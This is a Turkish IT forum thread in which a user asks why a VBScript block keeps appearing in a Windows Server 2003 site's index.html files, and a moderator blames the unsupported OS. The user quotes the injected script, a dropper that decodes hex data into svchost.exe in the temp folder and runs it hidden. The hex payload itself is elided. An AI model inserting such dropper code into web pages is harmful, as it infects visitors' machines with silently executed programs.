wbscript , svchost.exe index.html hatası

Can isLamoğlu

(@canislamoglu)

Gönderiler: 142

Estimable Member

Konu başlatıcı

merhaba arkadaşalar 2003 server sistemde web sitesine ait olan index.html dosyalarına otomatik bu kod ekleniyor ve kötü amaçlı yazılım virüslü olarak algılanıyor sayfayı açmaya çalıştıgımda bu sorunu her hangi bir güncelleme eksikliğinden mi ,virüs mü yoksa başka bir s ebetenmi tam çözemedim sistemi yeniden kurulum yaptırdık fakat yine sonuç değişmedi otomatik olarak eklenen kötü amaçlı kod bu

SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "......................

................................

....................

Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>

noktalı yerlerde harf ve rakamlar var çok uzun oldugu için yazmadım bunun çözümü varmıdır şimdiden yardımlarınız için teşekkür ederim.

Gönderildi : 30/12/2020 21:41

Hakan Uzuner

(@hakanuzuner)

Gönderiler: 33367

Illustrious Member Yönetici

Selam,

2003 artık desteklenmeyen bir işletim sistemi olduğu için muhtemel bilinen pek çok açık nedeni ile virüs yemiş ve yeniden kursanı bile aynı açık hala olduğu için yemeye devam ediyorsunuzdur. 18 yıl önceki bir teknolojiyi kullanmadaki bu ısrarınız güvenlik yönünden sizi zor durumda bırakabilir ki bırakmış gibide.

Danışman - ITSTACK Bilgi Sistemleri
****************************************************************
Probleminiz Çözüldüğünde Sonucu Burada Paylaşırsanız.
Sizde Aynı Problemi Yaşayanlar İçin Yardım Etmiş Olursunuz.
Eğer sorununuz çözüldü ise lütfen "çözüldü" olarak işaretlerseniz diğer üyeler için çok büyük kolaylık sağlayacaktır.
*****************************************************************

Gönderildi : 30/12/2020 21:47

Can isLamoğlu and Can isLamoğlu reacted